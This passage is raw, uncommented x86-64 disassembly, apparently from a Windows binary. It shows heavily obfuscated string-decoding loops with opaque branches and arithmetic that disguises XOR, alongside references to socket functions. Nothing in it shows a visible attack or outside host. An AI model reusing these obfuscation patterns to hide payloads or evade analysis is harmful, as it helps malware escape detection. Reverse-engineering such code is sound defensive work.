lea edi, [r10 + r9]
sub dil, 0x30
inc r8
dec r11
inc r11
jmp 0x1400790b3
lea edx, [r9 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140079ab7
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x140079747
lea ecx, [r9 + 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x45
jmp 0x1400795bc
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007977f
sub r9b, 0x62
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x52
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400790b3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400797a3
lea ecx, [r9 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
jmp 0x140079b90
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400797c7
lea ecx, [r9 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
jmp 0x140079b22
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400797f6
sub r9b, 0x7e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400790b3
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400795bc
lea edx, [r9 - 0x32]
movzx eax, dl
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140079ab7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140079846
lea ecx, [r9 + 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 5
jmp 0x140079ab7
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140079875
add r9b, 0x13
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x7b
inc r8
dec r11
inc r11
jmp 0x1400790b3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007989b
add r9b, 5
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x23
jmp 0x140079b5e
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400798c1
sub r9b, 9
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x3f
jmp 0x140079bd0
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140079575
sub r9b, 0x63
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400790b3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140079938
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400790b3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140079960
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140079b90
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140079984
lea ecx, [r9 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x56
jmp 0x140079b22
cmp rbx, rcx
jne 0x1400799af
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400790b3
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140079539
lea edx, [r9 + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140079ab7
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
add dil, r10b
jmp 0x140079b22
lea edx, [r9 + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140079b90
sub r9b, 0x5b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x7d
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400790b3
sub r9b, 0x4d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x1b
jmp 0x140079b61
add r9b, 0xd
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5b
jmp 0x140079b5e
sub r9b, 0x3f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x47
dec r11
inc r11
jmp 0x1400790b3
lea ecx, [r9 + 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x33
add r9b, 0x65
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x3d
add r10b, r9b
mov byte [rbp + r11 + 0xa0], r10b
inc r8
dec r11
inc r11
jmp 0x1400790b3
lea ecx, [r11 - 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6b
inc r8
dec r11
inc r11
jmp 0x1400790b3
movzx r9d, r11b
lea ecx, [r9 + 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7f
add r9b, 0xb
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x4d
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0xa0], cl
jmp 0x140079b5e
lea ecx, [r11 - 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 9
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400790b3
lea rax, [r11 + r12]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x1d
movzx r9d, r11b
sub r9b, 0x4f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x29
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0xa0], al
inc r8
add rax, r8
sub r11, rax
jmp 0x140079bd0
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x59
lea ecx, [r11 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x1c
add cl, r10b
mov byte [rbp + r11 + 0xa0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400790b3
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x31
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400790b3
add r9b, 0x1f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x27
jmp 0x1400790b0
add r9b, 0x79
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x4f
jmp 0x1400790a0
lea rcx, [rbp + 0x15abc64]
jmp 0x140079c8f
lea rcx, [rbp + 0x12d1fb7]
jmp 0x140079c8f
lea rcx, [rbp + 0xa0]
lea rdx, [0x1401dd729]
call fcn.14003a4c0
mov byte [rbp + 0x4b0], WSACleanup
mov byte [rbp + 0x4b1], 0x57
mov byte [rbp + 0x4b2], 0x5b
mov byte [rbp + 0x4b3], 0x59
mov byte [rbp + 0x4b4], 0x56
mov byte [rbp + 0x4b5], 0x5a
mov byte [rbp + 0x4b6], 0x9c
mov byte [rbp + 0x4b7], 0x4f
mov byte [rbp + 0x4b8], 0x2c
mov byte [rbp + 0x4b9], 0x46
mov byte [rbp + 0x4ba], 0x44
mov byte [rbp + 0x4bb], 0x48
mov byte [rbp + 0x4bc], 0x47
mov byte [rbp + 0x4bd], 0x31
mov byte [rbp + 0x4be], 0x4f
mov byte [rbp + 0x4bf], gethostname
mov byte [rbp + 0x4c0], 0x48
mov byte [rbp + 0x4c1], 0xa9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4c2], xmm0
mov word [rbp + 0x4d2], ax
mov byte [rbp + 0x4d4], al
movabs r14, 0x78dd21f79283d7e7
movabs r15, 0x6a9765e6b78b87b5
movzx edi, byte [rsp + 0x50]
nop dword [rax + rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x25
jae 0x14007a81c
movzx r10d, byte [rbp + r11 + 0x4b0]
mov edx, r10d
movzx r9d, r11b
nop dword [rax]
movzx esi, r9b
cmp rbx, r11
ja 0x14007a813
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140079db0
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x51
jmp 0x140079ddd
je 0x14007a7a7
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007a773
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007a750
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007a70e
movzx r9d, r11b
cmp r8, r11
ja 0x14007a80a
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x140079e0b
lea ecx, [r9 - 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5b
jmp 0x140079e50
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007a6f4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007a6d1
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007a6b4
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007a62f
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007a600
nop dword [rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14007a2ea
nop dword [rax]
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14007a2ca
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14007a2a4
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14007a281
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14007a262
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14007a245
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007a225
lea rcx, [r8 + 9]
cmp rbx, rcx
je 0x14007a206
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14007a1e9
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007a1b7
mov rbx, rcx
lea r8, [rcx + 0x7a]
lea rax, [r8 + 0x1000]
cmp rcx, rax
jb 0x14007a7ed
lea rax, [r8 + 8]
cmp rcx, rax
jb 0x14007a7d0
lea rax, [r8 + 0x400]
cmp rcx, rax
jb 0x140079fed
lea rax, [r8 + 6]
cmp rcx, rax
jb 0x140079fd2
lea rax, [r8 + 0x3e8]
cmp rcx, rax
jb 0x140079fb7
lea rax, [r8 + 5]
cmp rcx, rax
jb 0x14007a166
lea rax, [r8 + 0x200]
cmp rcx, rax
jb 0x14007a0f3
mov rbx, rax
lea r8, [rax + 6]
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14007a0c4
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14007a0a4
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14007a089
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14007a069
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14007a049
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14007a02e
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14007a008
lea rbx, [r8 + 1]
lea r8, [rbx + 0x64]
jmp 0x140079e60
lea ecx, [r9 + 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 5
jmp 0x140079e50
lea ecx, [r9 - 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x59
jmp 0x140079de1
lea ecx, [r9 - 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x49
jmp 0x140079d80
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140079d63
lea ecx, [r9 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
jmp 0x14007a5c0
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007a78b
sub r9b, 0x6e
movzx eax, r9b
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007a78e
lea ecx, [r9 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x14007a645
sub r9b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007a671
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
movzx eax, byte [rbp + r11 + 0x4b0]
add rax, r8
add r11, rax
inc r11
jmp 0x140079d63
lea ecx, [r9 + 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3f
cmp rbx, 4
jae 0x14007a5a7
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x14007a4c5
lea edx, [r9 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x40
jb 0x14007a597
add r9b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x1d
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
lea edi, [rcx + rcx]
jmp 0x14007a723
lea ecx, [r9 + 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x63
lea rax, [r8 + rbx]
cmp rax, 0x1000
je 0x14007a5e7
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x14007a3c8
lea ecx, [r9 + 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4d
jmp 0x14007a109
sub r9b, 0x4e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x4b0]
add rax, r8
add r11, rax
inc r11
jmp 0x140079d63
sub r9b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
jmp 0x14007a671
lea edx, [r9 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007a645
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007a78e
add r9b, 0x7a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x56
jmp 0x14007a78b
lea edx, [r9 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007a5c0
sub r9b, 0x22
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x12
dec r11
inc r11
jmp 0x140079d63
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
inc r8
dec r11
inc r11
jmp 0x140079d63
add r9b, 0x42
movzx eax, r9b
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007a723
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x14007a30e
lea ecx, [r9 - 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x51
jmp 0x14007a17c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007a346
sub r9b, 0x1a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4a
movzx eax, byte [rbp + r11 + 0x4b0]
add rax, r8
add r11, rax
inc r11
jmp 0x140079d63
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007a36f
sub r9b, 0x4c
movzx eax, r9b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007a671
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007a398
add r9b, 0x1e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007a78b
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007a17c
sub r9b, 0x46
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x16
dec r11
inc r11
jmp 0x140079d63
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007a3ee
sub r9b, 0x27
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x11
jmp 0x14007a723
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007a41a
add r9b, 0x75
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x33
dec r11
inc r11
jmp 0x140079d63
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007a440
add r9b, 0x11
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x77
jmp 0x14007a78b
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007a464
lea ecx, [r9 - 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x45
jmp 0x14007a645
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007a48a
add r9b, 0x7b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5d
jmp 0x14007a671
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14007a109
add r9b, 0x49
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
inc dil
movzx eax, byte [rbp + r11 + 0x4b0]
add rax, r8
add r11, rax
inc r11
jmp 0x140079d63
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007a500
sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x4b0]
add rax, r8
add r11, rax
inc r11
jmp 0x140079d63
cmp rbx, rcx
jne 0x14007a522
sub r9b, 0x66
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x36
jmp 0x14007a671
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007a548
add r9b, 0x36
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7a
jmp 0x14007a78e
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007a56e
add r9b, 4
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1c
jmp 0x14007a78b
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007a13a
lea edx, [r9 - 0x2e]
movzx eax, dl
and al, r10b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007a5c0
mov byte [rbp + r11 + 0x4b0], dil
inc r11
jmp 0x140079d63
lea edx, [r9 - 0x28]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0xc
lea edi, [rcx + rcx]
add dil, dl
sub r9b, 0x41
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x39
add r9b, dil
add r9b, r10b
mov byte [rbp + r11 + 0x4b0], r9b
jmp 0x14007a78b
lea edx, [r9 - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007a645
add r9b, 0x31
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x57
movzx eax, byte [rbp + r11 + 0x4b0]
add rax, r8
add r11, rax
inc r11
jmp 0x140079d63
lea ecx, [r9 - 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x13
sub r9b, 0x73
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x25
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x4b0], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x2c
add cl, r10b
mov byte [rbp + r11 + 0x4b0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x4b0]
add rax, r8
add r11, rax
inc r11
jmp 0x140079d63
sub r9b, 0x39
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x71
jmp 0x14007a78e
add r9b, 0x5d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x75
dec r11
inc r11
jmp 0x140079d63
sub r9b, 0x3f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x47
jmp 0x14007a723
lea ecx, [rsi + 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 3
sub sil, 0xf
movzx eax, sil
and al, r10b
add al, al
sub sil, al
add sil, 0x69
add sil, r10b
mov byte [rbp + r11 + 0x4b0], sil
inc r8
dec r11
inc r11
jmp 0x140079d63
sub sil, 0x77
movzx eax, sil
and al, r10b
add al, al
sub sil, al
lea edi, [r10 + rsi]
add dil, 0x41
dec r11
inc r11
jmp 0x140079d63
sub sil, 0x13
movzx eax, sil
and al, r10b
add al, al
sub sil, al
lea edi, [r10 + rsi]
sub dil, 0x7b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140079d63
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0xd
movzx eax, byte [rbp + r11 + 0x4b0]
add rax, r8
add r11, rax
inc r11
jmp 0x140079d63
add r9b, 3
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x15
jmp 0x140079d60
add r9b, 0x35
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x73
jmp 0x140079d50
lea rcx, [rbp + 0x15513e4]
jmp 0x14007a823
lea rcx, [rbp + 0x98ebcb]
jmp 0x14007a823
lea rcx, [rbp + 0x4b0]
lea rdx, [0x14017e030]
call fcn.14003a4c0
mov byte [rbp + 0x2b0], 0xf1
mov byte [rbp + 0x2b1], 0xd7
mov byte [rbp + 0x2b2], 0xdb
mov byte [rbp + 0x2b3], 0xd9
mov byte [rbp + 0x2b4], 0xd6
mov byte [rbp + 0x2b5], 0xda
mov byte [rbp + 0x2b6], 0x1c
mov byte [rbp + 0x2b7], 0xef
mov byte [rbp + 0x2b8], 0xcc
mov byte [rbp + 0x2b9], 0x26
mov byte [rbp + 0x2ba], 0x24
mov byte [rbp + 0x2bb], 0x28
mov byte [rbp + 0x2bc], 0x27
mov byte [rbp + 0x2bd], 0x31
mov byte [rbp + 0x2be], 0x2f
mov byte [rbp + 0x2bf], gethostname
mov byte [rbp + 0x2c0], 0x28
mov byte [rbp + 0x2c1], 0xe9
mov byte [rbp + 0x2c2], recvfrom
mov byte [rbp + 0x2c3], 0x3a
mov byte [rbp + 0x2c4], 0x3e
mov byte [rbp + 0x2c5], 0xcd
xor eax, eax
mov qword [rbp + 0x2c6], rax
mov word [rbp + 0x2ce], ax
movabs rsi, 0x8c289a2211b02e77
movabs r15, 0xbccb02aa5870e853
movabs r14, 0xa479ce6635108b65
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x20
jae 0x14007b35e
movzx r10d, byte [rbp + r11 + 0x2b0]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14007b355
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007a95c
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x41
jmp 0x14007a996
je 0x14007b2e9
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007b292
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007b23a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007b219
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007b1d2
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x14007b34c
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x14007a9ca
lea ecx, [r9 - 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x55
jmp 0x14007aa10
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007b1ba
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007b19f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007b157
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007b13a
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007b10b
nop dword [rax + rax]
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x14007ae3b
nop dword [rax]
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007ae1c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007adf6
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14007add0
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14007adb5
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007ad95
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007ad78
lea rbx, [r8 + 0xa]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14007b32f
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14007b312
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14007ab8f
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14007ab74
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14007ab59
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14007ad2e
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14007ace1
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14007aca1
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14007ac79
lea rbx, [r8 + 4]
lea r8, [rbx + 0x42]
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14007ac47
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14007ac27
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14007ac08
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14007abeb
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14007abcb
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14007abac
lea rbx, [r8 + 9]
lea r8, [rbx + 0xa]
jmp 0x14007aa20
lea ecx, [r9 - 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4b
jmp 0x14007aa10
lea ecx, [r9 - 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x37
jmp 0x14007a9a0
sub r9b, 0x3f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x47
jmp 0x14007a930
lea edx, [r9 + 0x4e]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
